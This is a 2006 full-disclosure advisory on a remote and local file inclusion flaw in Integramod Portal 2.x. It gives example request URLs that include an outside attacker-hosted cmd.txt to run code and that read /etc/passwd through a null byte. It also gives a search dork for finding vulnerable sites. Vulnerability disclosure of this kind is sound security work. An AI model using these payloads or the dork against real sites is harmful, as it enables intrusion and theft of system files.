full-disclosure - Advisory: Integramod Portal <= 2.x File Inclusion Vulnerability

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Date: Thu, 24 Aug 2006 06:02:53 +0300
From: "Mustafa Can Bjorn IPEKCI" <nukedx@...edx.com>
To: submit@...w0rm.com, full-disclosure@...ts.grok.org.uk,
	bugtraq@...urityfocus.com, webmaster@...egramod.com
Cc: 
Subject: Advisory: Integramod Portal <= 2.x File Inclusion
	Vulnerability


--Security Report--
Advisory: Integramod Portal <= 2.x File Inclusion Vulnerability
---
Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI
---
Date: 24/08/06 03:00 AM 
---
Contacts:{
ICQ: 10072
MSN/Email: nukedx@...edx.com
Web: http://www.nukedx.com
}
---
Vendor: Integramod (http://www.integramod.com)
Version: 2.x and prior versions must be affected.
About: Via this methods remote attacker can include arbitrary files to 
Integramod.Variable phpbb_root_path did not sanitized properly before using 
it on includes/functions_portal.php so remote attacker can include internal 
and external files to VistaBB
For including internal files magic_quotes_gpc must be off on server settings 
because remote attacker needs to use null char at the end of filename.
Eg: /etc/passwd%00
Level: Highly Critical
---
How&Example: 
GET -> 

http://[site]/[integramodpath]/includes/functions_portal.php?phpbb_root_path=[FILE]
EXAMPLE -> 

http://[site]/[integramodpath]/includes/functions_portal.php?phpbb_root_path=http://yoursite.com/cmd.txt?
EXAMPLE -> 

http://[site]/[integramodpath]/includes/functions_portal.php?phpbb_root_path=/etc/passwd%00 
<- mq off
---
Timeline:
* 24/08/2006: Vulnerability found.
* 24/08/2006: Contacted with vendor and waiting reply.
---
Exploit: http://www.nukedx.com/?getxpl=47
---
Original advisory can be found at: http://www.nukedx.com/?viewdoc=47
---
Dorks: "Powered by Integramod" 

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